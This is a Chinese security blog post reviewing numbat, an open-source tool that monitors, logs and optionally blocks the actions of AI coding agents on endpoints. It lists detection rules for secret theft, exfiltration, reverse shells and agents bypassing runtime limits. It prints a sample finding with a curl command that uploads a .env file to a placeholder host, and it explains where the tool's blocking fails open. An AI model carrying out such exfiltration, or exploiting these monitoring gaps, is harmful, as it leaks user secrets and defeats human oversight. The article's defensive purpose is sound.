文章总结: Perplexity开源的numbat工具为端点AIAgent活动提供可见性、检测与取证能力,覆盖27类Agent入口,通过统一事件模型和CEL规则引擎同时处理磁盘产物、实时hook与OTLP日志,内置51条规则分12类,默认仅观察不阻断,记录可核验并支持案件包取证。工具明确边界,适合需要监控编码Agent行为的团队,建议先只读扫描再逐步启用实时监控。 综合评分: 85 文章分类: AI安全,安全工具,安全运营,威胁情报
「AI Agent端点监控」numbat拆解:Perplexity开源,工具调用全留痕可取证
原创
句芒安全实验室 句芒安全实验室
句芒安全实验室
2026年10月3日 19:01 河北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
让 AI Agent 替你干活,本质上就是把你的一部分权限交到它手里:读 .env、写 authorized_keys、curl 把数据发到外网、调 MCP 工具。市面上讲”Agent 沙箱”的工具都在回答一个问题——怎么拦住它;但还有另一半问题没人认真回答:它到底干了什么,出了事能不能倒查。
Perplexity 开源的 perplexityai/numbat 补的就是这一半。它给自己的定位是「对端点上 AI Agent 活动的可见性,带本地检测、可选的执行前阻断和取证重建」。一句话,给每一个在你机器上跑的编码 Agent 装一套「行车记录仪 + EDR」。
先核身份
发布前用 GitHub API 当天核实:仓库 perplexityai/numbat,1088 颗星、115 个 fork、17 个未关闭 issue,主语言 Go,协议 Apache-2.0。2026 年 7 月 24 日建仓,最近一次提交在 2026 年 10 月 2 日,最新发布 tag v0.2.0(2026-08-17),仓库 README 与文档已按 schema v0.3.0 记录线路格式。它单个二进制、不依赖 cgo,覆盖 macOS、Linux、原生 Windows 的 amd64 与 arm64。
它看的是痕迹,不是进程
numbat 的输入有三种:
- 磁盘会话产物——用于取证重建,不需要事先装过 numbat;
- 同步生命周期 hooks 或生成的插件/扩展——用于实时抓取;
- OTLP/HTTP 日志——用于实时抓取。
三种输入产出的都是同一套归一事件,跑的都是同一个 CEL 规则引擎。检测在本地完成;记录可以写 stdout、写本地文件,也可以经 HTTP 投递出去。
覆盖 27 类 Agent 入口
它覆盖的清单长得惊人,从 Claude Code、Codex、Cursor、GitHub Copilot CLI、Gemini CLI,到 OpenClaw、OpenHands、Kimi Code、Qwen Code、Hermes,一共 27 类入口(完整清单见上图)。
对每一个 Agent,覆盖矩阵都明确写清三列:磁盘产物路径、实时抓取方式、能不能执行前阻断。几个容易踩的差别:
- Claude Code 走
PreToolUse,能阻断;桌面版和 IDE 会话共用同一个本地设置文件。 - Codex 的 hooks 只覆盖本地函数工具,托管工具不进本地 hook 路径,上游 hook 本身也不是完整的策略边界。
- Cursor 的
subagentStart只监控不阻断,因为当前 Cursor 构建会触发它但忽略它的拒绝响应;云端 Agent 不加载~/.cursor/hooks.json。 - OpenCode 的实时插件只支持监控,当前
opencode.db取证存储还是 deferred(尚未解析)。 - Qwen Code 的 hook 出错或超时按上游行为 fail-open,不阻断。
一个事件模型,一个引擎
把不同 Agent 千奇百怪的记录方式归一,是 numbat 真正的核心。一个工具请求会变成它能支持的最具体的事件:
| 观察到的动作 | 归一类型 | 主字段 |
| — | — | — |
| shell / 进程请求 | command.exec | command |
| 文件访问 / 改动 | file.read / file.write / file.delete | file_path |
| 已知的 web / 网络请求 | network.indicator | url |
| 其他 / 未知工具请求 | tool.call | tool_name |
这些类型是互斥的,不是叠加的:一个被识别为 shell 的请求产出 command.exec,不会再多一条 tool.call。
MCP 不是独立类别,而是工具动作的一个切面:mcp__github__create_issue 仍然是 tool.call,只是多带了 mcp_server: github 和 mcp_tool: create_issue 两个字段;MCP 的 fetch 工具按 server + tool 身份变成 network.indicator,只有当结构化目标确实是合法 HTTP(S) 时才提升为 url。
分类刻意保守:未知工具不会被名字或内容猜成更具体的类型,命令输出和助手正文也不会被拿去编造文件或网络动作。这是一条对做安全的人很重要的边界——宁可少判,不编造证据。
51 条内置规则,12 类
仓库 rules/ 目录下共 51 个 YAML 规则,分 12 类:
- secrets 8 条:读
.env风格文件、SSH 私钥、云凭证、浏览器会话库、云密钥管理器、工作负载身份 token、开发者凭证、/proc进程环境块; - exfil 4 条:环境变量外发、curl 带文件 POST、DNS 隧道、密钥读取加外发一行;
- exec 6 条:下载管道进 shell、反弹 shell、反弹隧道、base64 解码进 shell、
rm -rf根目录、Agent 运行时绕过参数; - privilege 6 条、persistence 6 条、impact 4 条、recon 3 条、tamper 3 条、integrity 2 条、source_control 2 条、lateral 1 条;
- chains 6 条:多步序列规则,比如「读密钥后外发」「提权探测后提权」「云密钥读取后外发」「权限被拒后绕过运行时」——这类跨事件的攻击链,单条无状态规则抓不到。
只有两种效果:观察和拒绝
numbat 只暴露两种效果:observe(观察)和 deny(拒绝)。内置规则全部是 monitor-only,单独加 --enforce 也不足以把发现变成拒绝——要阻断,必须把某条内置规则完整 YAML 拷进自己的规则目录,保留同一个 id,加 enforce: true,再抬版本号。
它的控制流值得逐条看:
- 模型提出一个工具动作;
- 宿主在执行工具前调用它的 pre-action hook;
- numbat 校验、归一 payload,跑规则,写记录;
- 命中一条
enforce: true的规则时,numbat 返回该宿主原生的拒绝响应;否则不覆盖宿主正常的权限流程; - 宿主解释响应,决定执行、询问还是拒绝。
关键一句:numbat 不执行也不取消工具本身。结构化 deny 字段或阻断退出码只是「请求宿主拒绝」,宿主(往往还有模型)仍可能看到这个请求。默认拒绝理由故意不含规则 id、标题、表达式和证据。
阻断是 fail-open 的:解码错误、相关求值错误或输出失败,都会压掉 numbat 的拒绝响应;序列状态不可用会阻止基于序列的拒绝,但不会压掉独立的无状态拒绝。宿主仍可能按自己的 hook 契约询问、拒绝或失败关闭。
还有一个细节:判定拒绝时,规则表达式用的是更小的静态子集——POSIX shell 只支持一条简单命令或一条简单命令的管道,PowerShell 和 cmd.exe 只支持一条简单命令。多语句、条件、循环、替换、eval 一律只检测不阻断——避免基于一条「可能根本不会执行」的命令去拒绝一个动作。
记录是可核验的
输出是版本化的 NDJSON,五种记录:event、finding、enforcement、indicator、scan summary。事件和发现都保留来源引用,docs/schema/v0.3.0/ 用 JSON Schema 定义线路格式。
README 里给的一条真实序列发现长这样——一次「先读密钥文件、再上传」的 Claude Code 回放:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"severity": "high",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @.../.env.production",
"url": "https://collector.example.invalid/ingest",
"cited_event_ids": ["hook-run-...143947", "hook-run-...144025"],
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}
注意这条 finding 的措辞:它证明的是「请求过一次读密钥、请求过一次外发」,不证明这两个动作真的执行完成了。前置 hook 的匹配描述的是「请求的动作」,不是「确认的结果」。
取证工具是三件套:numbat scan(扫磁盘产物)、numbat timeline(按会话重建时间线)、numbat case build(把发现、执行决定和引用事件打成一个案件包),再加 numbat case verify(用清单摘要校验案件包)。案件包带 SHA-256 清单,未签名的案件包不证明来源真实性,也不证明完整性。
上手
# 装(需要 Go 1.26.6+)
go install github.com/perplexityai/numbat/cmd/numbat@latest
# 只读:盘点 + 扫产物(不装 hook、不改 Agent 配置)
numbat agents
numbat scan
numbat scan --agent codex
# 实时:给 Codex 装 hook(默认只监控)
numbat hook install --agent codex --emit all
numbat hook status --agent codex
--emit all 把事件、发现、指标和适用的执行决定写到 ~/.numbat/records.ndjson。numbat agents --all 列出支持的本地 Agent 清单,numbat rules list 打印生效后的规则 id。
避坑
- hook 装完不等于被信任。 Codex 用户级 hook 装完后要在
/hooks(CLI)或 Settings > Hooks(应用)里审阅并信任,--enforce这类改动之后还要再信任一次;hook status只校验配置,不证明 Agent 真的信任、加载、跑过这个 hook,也不证明记录被投递。 - 默认输出只有 finding。 普通输出永远不含完整原始会话,但记录仍可能保留脱敏后的命令、路径、URL、内容预览、端点身份和模型上下文。
- redaction 不是 DLP 边界。 它只遮盖识别出的密钥模式,不是脱敏或防泄漏边界;对外分享记录和脱敏证据前先人工过一遍。
project_path哈希是无盐 join key。 稳定、可关联、能反推可预测的路径,别当匿名化用。collect默认绑127.0.0.1:4318,没有客户端认证、没有 TLS。 绑到别的网卡前先想清楚——用网络控制或带认证的代理挡在前面。- HTTP sink 不是磁盘队列。 端点挂了,numbat 只报这次投递失败,不会把几小时的记录攒下来重放;保留文件输出,让你现有的日志转发或 EDR 去轮转投递。
- hook 输入上限 4 MiB。 超大或畸形输入只产生诊断,不产生拒绝响应。
诚实边界
numbat 自己在文档里把边界写得清楚:发现是规则匹配,不是入侵证据;静态重建不是磁盘或内存取证,恢复不了 Agent 没有落盘的活动;案件包清单只证明内部一致性,未签名的案件包不证明来源真实性或完整性;hook status 只证明磁盘上的配置,不证明执行。记录可能保留敏感的端点与 Agent 上下文,哪怕已经过 redaction。
适合谁
如果你手上有一支在真实机器上跑着的编码 Agent(Claude Code、Codex、Cursor……),想知道它们读了哪些文件、连了哪些地址、有没有碰到密钥,numbat 值得抄的不是它的规则条数,而是两个把「看得见」和「追得回」落地的设计:用一套统一事件模型加一个 CEL 引擎,同时吃磁盘产物、实时 hook 和 OTLP 日志,让同一批规则既能查历史又能拦当下;以及把执行点留在 Agent 宿主手里,numbat 只观察、只请求拒绝,而且默认只观察——先看清再拦,而不是一上来就把正常流程挡死。它不替你判断什么该拦,也不保证你看到的就是全部——但在「给 Agent 放权」这件事上,它把「看得见」这一半补得很扎实。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:句芒安全实验室 句芒安全实验室 句芒安全实验室《「AI Agent端点监控」numbat拆解:Perplexity开源,工具调用全留痕可取证》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论